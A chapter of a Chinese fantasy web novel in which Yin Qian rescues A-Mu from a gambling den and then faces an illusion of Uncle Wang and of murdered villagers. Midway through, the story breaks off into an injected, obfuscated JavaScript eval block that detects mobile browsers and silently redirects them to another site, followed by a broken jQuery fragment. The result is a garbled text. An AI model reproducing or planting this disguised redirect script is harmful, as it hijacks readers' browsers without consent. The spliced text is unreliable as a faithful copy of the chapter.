16. 第16章:被抓

作品:《娘子,喝药了

    堂下的风铃频扬脆响,洗尘司这几日的门槛都快要被踏破了。


    柳儒英亲自送了许多朱钗玉环,表明殷浅夫妇是与他交好的朋友,越来越多的客人到殷浅的铺子里当东西,她也尝到了一点出名的甜头。


    但更多的,都是来找阿暮的。


    当铺莫名其妙地就成了半个医馆,那种病得都只能喝十全大补汤的病患也来求医,离谱的是阿暮还真给他从阎罗王手里救回来了,这下神医之名更是摘不掉了。


    以至于轰轰烈烈地开了几天当铺医馆结合体后,殷浅终于是累麻了,索性又关了铺子,回家捣鼓恶神血的正事。


    她掂了掂一麻袋的银子,感叹道:“沾了你的光,这几个月的吃食都有着落了,要是日日生意都这么兴隆的话,那就不愁吃穿了!”


    “你这话说的,哪有人祝医馆生意兴隆的?”


    殷浅挑眉道:“谁说你的医馆了!我说的是我的当铺!”见他又想跑,她一把拉住他的手腕说道:“金天绳已经煮了几日了,应当可以拿出来了吧。”


    “没好,没好,”阿暮温柔地笑了下,“我给你煮了碗热豆腐,你尝尝。”


    原来他是要去给自己拿吃的,殷浅讪讪地放开了手,摸了摸鼻子掩饰尴尬。


    那碗豆腐的香气从阿暮端出来那一刻起她就闻到了,待阿暮放下,她立刻舀了一勺进嘴里,一口咬下去,豆腐里还包裹着爆汁的肉,美味至极!就是……后劲儿好烫!


    殷浅疯狂扑扇着嘴巴,“啊……嘶……烫烫烫!”


    阿暮边偷笑边给她倒了杯水,“慢些吃,心急吃不了热豆腐。”


    这话似是一语双关,殷浅听懂了,不服气地瞪了他一眼,端起热豆腐就是大口大口地吃。


    几日后,金天绳煮成,殷浅把它托在掌心,细细地数着绳条上的每一寸纹路,下刀之前需得对应竹简张合的幅度,才能把这编绳运用到极致。


    可偏偏在此时,王叔传了信来,说他们出门采买时路过了她的铺子,许多人蹲守在门口就为了等阿暮公子出现,她再不出去赶走这些人,官府就要怀疑她聚众闹事了。


    无奈之下,她只能先回一趟洗尘司,赶走那群人。


    她前脚刚走,后脚,院里的曼陀罗就收缩了。


    此刻正值黄昏,街上人头攒动,也不知是为了迎什么节日,今日街上的人比往日都要多,殷浅顺着人群挤了好一会儿才走到洗尘司门前。


    奇怪的是,洗尘司门口并无人蹲守。


    那……糟了!


    她火速往回赶,却发现院门虚掩,推门一看,院内的花草都败了,池子里的鱼死了,青石板上脚印重重,却在她摸到的那一瞬间,消失无踪。


    殷浅手一挥,赤玄刀立刻从房中跳出来躺到她的掌心里,她浑身的怒气差点把它淹没,“谁闯了进来?阿暮呢?”


    赤玄刀颤颤巍巍地抬起刀身,指了指城西的方向。


    她声音微凝:“赌坊?”


    赤玄刀连跳都跳不动了,整副刀身都沉沉地压在了殷浅的掌心里,她这才发现,刀身被若隐若现的紫气缠绕着,是毒气!


    净化过后,赤玄刀清醒了过来,急急忙忙地飞进房间把那块金色包袱的细条拉了出来,可那原本金灿灿的细条如今已经变成一坨焦黑的灰烬。


    “原来是这样!那包袱里的东西没有问题,有问题的是包袱!”


    城西赌坊,赌徒们被突然闯入的殷浅吓得四散奔逃,她手中刀风横扫,所到之处尽是劈台断柱,一袭玄衣承着浑身杀气,像极了地府里的夺命阎罗。


    刀尖一路飞旋,引领着殷浅往里间奔去,烛火亮照四壁,影阵试图再起干扰殷浅,她看也不看直接一个踢腿横扫把所有的烛火踹了个稀巴烂。


    里间彻底进入黑暗,唯有一点幽蓝的光,在不远处断断续续地闪着。


    殷浅缓缓靠近,直至看清那点幽蓝的光在何处时,终于松了口气。


    她轻声唤道:“阿暮。”


    他没有反应。


    殷浅刚放下的心又提了上来,她再靠近了些,试图去探他的鼻息,怎料阿暮忽然睁开眼,虚虚地抓住了她的手腕,笑道:“娘子的心跳得很快,娘子是紧张我的。”


    她腾出另一只手重重地推了他一掌迫使他放开自己,然后站起身平静道:“这不好笑,快走。”


    “我走不了,他们给我服了软筋散,我的四肢现在都还是麻的。”


    殷浅蹲下身,“上来,我背你。此地危险,不宜久留。”


    待他伸手环住她脖子,趴上她的背时,她总感觉这男人的体重又变沉了,以后还是得让自己多吃些,让他少吃些,不然再遇到这种情况怎么背得动他?


    不对……哪有什么以后……


    “娘子,你是怎么找到这的?”


    殷浅不答反问:“你是怎么被抓到这的?”


    阿暮简单地总结了下,“有人敲门,我去开门,门开了,他冲着我施了一通的法,我看晕了,醒了以后就在这了。”说完他还颇为得意地补充了句:“幸好我把娘子的毒药常常带在身上,娘子的毒药上有荧光,娘子不是靠着这个找到我了吗?”


    殷浅扽了扽他快要滑落的身体,这厮实在是太高了,她得使出七分力才能让他脚不沾地,不然他现在跟个扫帚一样,她背到哪他扫到哪。


    见殷浅不搭理他,阿暮的得意劲又弱了些,他小心翼翼地问道:“娘子怎么不说话了,是生气了吗?”


    我那是没力气说话!要面子的殷浅自是不会告诉他真正原因。


    殷颜揶揄道:“你倒是挺会未卜先知的,知道自己要被抓还带上了毒药。”


    阿暮撇了撇嘴,低声道:“娘子冤枉我了,我随身带着毒药,只是怕娘子突然受伤了,身边又没有好的草药,最下策只能用毒药以毒攻毒,所以我才一直带着。”


    赌坊里难得陷入了安静,即便他说得再小声也一字不差地落入了殷浅的耳朵里,她愣了许久,接着浅笑着回道:“知道了。”


    阿暮察觉到殷浅的身体僵了一下,以为她是背自己太过使劲抽了筋,连忙往后借力了一下,怎料这一借力竟然直接冲破了软筋散的限制,他兴奋地轻拍着殷浅的肩膀:“娘子放我下来,我可以自己走了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164918|196663||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他刚落地,差点踉跄两步没站稳,还好殷浅拽住了他,她半信半疑地问道:“你确定你真的能走?”


    “我确定,我的经脉刚才突然就通了,看来那些人也不怎么厉害嘛,在我身上施的法一点用处都没有。”


    殷浅目不转睛地盯了他片刻,没再搭话继续往前走。


    他身上哪有什么被人施的法,恶神血在他体内融合期间,所有阵法都对他不管用,能治他的唯有打晕这一个法子,估计抓他的人没想到这一点,除了软筋散发挥了些用处,其他法术都施了个浪费。


    正想着,殷浅的手蓦地被阿暮牵住,她疑惑地看向他,他正色道:“我觉得我还是有点虚弱,还得娘子拉着我,我才能走得动。”


    此刻逃命要紧,殷浅懒得与他争辩,刚走到赌坊出口时,一丝腥臭的气味在空中弥散,她立即将阿暮挡在身后,眼神戒备地环顾四周。


    刚才还安静的赌坊突然吵闹了起来,可眼前的桌案、骰盅早已被殷浅砸了个干净,满地狼藉无人收拾,哪来的激奋赌徒的声音?


    忽然,最里间陡然亮了起来,那个两米高的庞然大物的身影映在门页上,是那股怨气!


    殷浅猛地转身拉着阿暮朝着出口奔去,没想到出口处却突然落下了一道巨大的石门,将会他们的去路死死挡住,赤玄刀狠狠一劈,那石门竟然只裂了一道口子!


    “加把劲!赤玄刀!快!”


    殷浅话音未落,赌坊吵闹的声音突然瞬息万变,右侧传来一阵尖利的嘶吼声,仿若被什么东西贯穿了喉咙,紧接着左侧又传来一阵颤抖的呜咽声,像是孩童被捂住了嘴巴,此起彼伏的骇人声萦绕于耳。


    阿暮愣愣地本想回头看,被殷浅用力地拽了回来并帮他捂住了耳朵:“别听!都是幻觉!”她转头急忙地施法给赤玄刀:“快啊!”


    赤玄刀就快要劈出一道人能过的口子了!


    殷浅刚要拉着阿暮跑出去,就听见身后传来一道苍老又熟悉的声音。


    “阿浅,你要去哪儿啊?”


    她脚步一顿,牵着阿暮的手缓缓抽离,若说刚才那些骇人的声音是幻觉,可这一声落入她耳里却真真的,是真的有人在叫她,还是那个曾经救过她的人。


    殷浅平静地转身,看着那人从最里间走出,眸光里的紫气满是挑衅,但那身影分明就是王叔的身影!


    他每走一步,赌坊内的烛灯便亮一盏,四壁上不再浮现没有脸的影子,而是实打实的人从墙壁上跳下来,他们每个人的脸殷浅都无比熟悉。


    有许大娘和她的幼子,她的幼子身上带着一身的血,正哭个不停,可她却恍然未闻死死地捂住了儿子的嘴;还有陈叔和他的娘子,他那把尝砍柴的砍刀已经砍断了他娘子的喉咙,鲜血染红了他的眼睛,可他仍麻木地一下又一下地劈向娘子的尸身……


    还有许许多多的长陵村村民,他们被紫气围绕着,像行尸走肉般朝着殷浅走来,殷浅被那血腥的场面晃得痛了眼,一时愣在原地。


    “王叔”站在他们身后,蛊惑般开口:“阿浅,帮王叔杀了他们,救救长陵村的村民们,好吗?”